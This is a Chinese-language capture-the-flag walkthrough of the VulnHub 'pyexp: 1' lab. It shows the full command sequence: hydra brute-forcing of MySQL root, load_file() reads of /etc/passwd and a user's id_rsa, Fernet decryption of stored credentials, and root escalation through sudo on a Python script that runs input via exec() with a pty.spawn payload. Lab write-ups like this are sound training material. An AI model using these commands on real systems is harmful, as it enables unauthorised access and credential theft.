pyexp: 1

来自 <https://www.vulnhub.com/entry/pyexp-1,534/>

该实验室涉及暴力破解 MySQL 根凭据并利用 Fernet 加密的数据库条目来恢复系统用户的密码。权限提升是通过滥用易受攻击的 Python 脚本上的 sudo 权限来实现的,其中未经验证的用户输入通过 exec() 函数执行。

完成本实验后,学习者将能够:

  1. 执行 Nmap 扫描以识别开放的端口和服务,包括 MySQL 和 SSH。
  2. 使用 Medusa 等工具暴力破解 MySQL 根凭据并泄露数据库内容。
  3. 解密 Fernet 加密凭据以获取系统用户的 SSH 登录名。
  4. 滥用 sudo 权限使用易受攻击的脚本 /opt/exp.py 执行 /usr/bin/python2。
  5. 通过易受攻击的 exec() 函数执行任意命令,将权限升级到 root。

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.155

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.155

4,使用hydra对mysql的账户密码进行爆破,得到密码prettywoman

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.23.155 mysql -q

尝试登录mysql服务

mysql -h 192.168.23.155 -u root -p --ssl=0

\!来使用系统命令是无法成功的,靶机进行了防护

尝试读取系统敏感文件

select load_file('/etc/passwd');

尝试读取该用户的私钥文件

select load_file('/home/lucy/.ssh/id_rsa');

5,前面的信息收集一无所获。现在开始尝试读取数据库本身的敏感数据

show databases;

use data;

show tables;

select * from fernet;

fernet是一个对称秘钥加解密的算法

https://cryptography.io/en/latest/fernet/

from cryptography.fernet import Fernet
key = Fernet.generate_key()

key

f = Fernet(key)

f

token = f.encrypt(b"my deep dark secret")
token
f.decrypt(token)

key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='

f = Fernet(key)

f.decrypt('gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=')

wJ9`"Lemdv9[FEw-

6,使用该账户密码成功ssh登录lucy用户

ssh lucy@192.168.23.155 -p 1337

信息收集一下,得到第一个flag

sudo -l 查看如何提权

阅读一下该文件

发现是可以执行代码的函数,直接利用python pty模块提权

sudo /usr/bin/python2 /opt/exp.py

import pty;pty.spawn("/bin/bash")

成功提权成为root用户并且得到flag

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐